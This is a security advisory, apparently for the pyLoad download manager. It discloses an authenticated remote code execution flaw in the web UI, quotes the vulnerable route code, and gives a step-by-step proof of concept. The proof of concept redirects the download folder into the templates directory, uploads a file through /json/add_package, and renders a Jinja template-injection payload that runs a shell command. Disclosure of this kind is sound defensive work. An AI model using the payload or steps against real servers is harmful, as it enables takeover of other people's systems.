PYSEC-2026-492: 
### Summary
An authenticated user can change the download folder and upload a crafted template to the specified folder lead to remote code execution

### Details
example version: 0.5
file:src/pyload/webui/app/blueprints/app_blueprint.py
```python
@bp.route("/render/<path:filename>", endpoint="render")
def render(filename):
    mimetype = mimetypes.guess_type(filename)[0] or "text/html"
    data = render_template(filename)
    return flask.Response(data, mimetype=mimetype)
```
So, if we can control file in the path "pyload/webui/app/templates" in latest version and path in "module/web/media/js"(the difference is the older version0.4.20 only renders file with  extension name ".js"), the render_template func will works like SSTI(server-side template injection) when render the evil file we control.

in /settings page and the choose option general/general, where we can change the download folder. 
![image](https://github.com/pyload/pyload/assets/48705773/0b239138-9aaa-45c4-bf84-c1c3103c452a)
 
Also, we can find the pyLoad install folder in /info page
![image](https://github.com/pyload/pyload/assets/48705773/6e9d363a-f0e0-4d25-92b3-b1587188a235)
 So, we can change the  value of Download folder to the template path. Then through /json/add_package we can upload a crafted template file to RCE.
```python
@bp.route("/json/add_package", methods=["POST"], endpoint="add_package")
# @apiver_check
@login_required("ADD")
def add_package():
    api = flask.current_app.config["PYLOAD_API"]

    package_name = flask.request.form.get("add_name", "New Package").strip()
    queue = int(flask.request.form["add_dest"])
    links = [l.strip() for l in flask.request.form["add_links"].splitlines()]
    pw = flask.request.form.get("add_password", "").strip("\n\r")

    try:
        file = flask.request.files["add_file"]

        if file.filename:
            if not package_name or package_name == "New Package":
                package_name = file.filename

            file_path = os.path.join(
                api.get_config_value("general", "storage_folder"), "tmp_" + file.filename
            )
            file.save(file_path)
            links.insert(0, file_path)

    except Exception:
        pass

    urls = [url for url in links if url.strip()]
    pack = api.add_package(package_name, urls, queue)
    if pw:
        data = {"password": pw}
        api.set_package_data(pack, data)

    return jsonify(True)
```
### PoC
First login into the admin page, then visit the info page to get the path of pyload installation folder.
Second, change the download folder to PYLOAD_INSTALL_DIR/ webui/app/templates/
Third, upload crafted template file through /json/add_package through parameter add_file
the content of crafted template file and its filename is "341.html":
```
{{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
```
![image](https://github.com/pyload/pyload/assets/48705773/a933a95b-bb18-4e2e-a442-973585e7d1fc)
 Last, visit http://TARGET/render/tmp_341.html to trigger the RCE
![image](https://github.com/pyload/pyload/assets/48705773/80a1ba00-2774-4ce5-bc9e-dd32f189634e)
 ![image](https://github.com/pyload/pyload/assets/48705773/136236f2-9b00-4506-a8ac-29a14a537bbe)
 
### Impact
It is a RCE vulnerability and I think it affects all versions. In earlier version 0.4.20, the trigger difference is the pyload installation folder path difference and the upload file must with extension ".js"  .
The render js code in version 0.4.20:
```python
@route("/media/js/<path:re:.+\.js>")
def js_dynamic(path):
    response.headers['Expires'] = time.strftime("%a, %d %b %Y %H:%M:%S GMT",
                                                time.gmtime(time.time() + 60 * 60 * 24 * 2))
    response.headers['Cache-control'] = "public"
    response.headers['Content-Type'] = "text/javascript; charset=UTF-8"

    try:
        # static files are not rendered
        if "static" not in path and "mootools" not in path:
            t = env.get_template("js/%s" % path)
            return t.render()
        else:
            return static_file(path, root=join(PROJECT_DIR, "media", "js"))
    except:
        return HTTPError(404, "Not Found")
```
CVSS v3.1: 9.1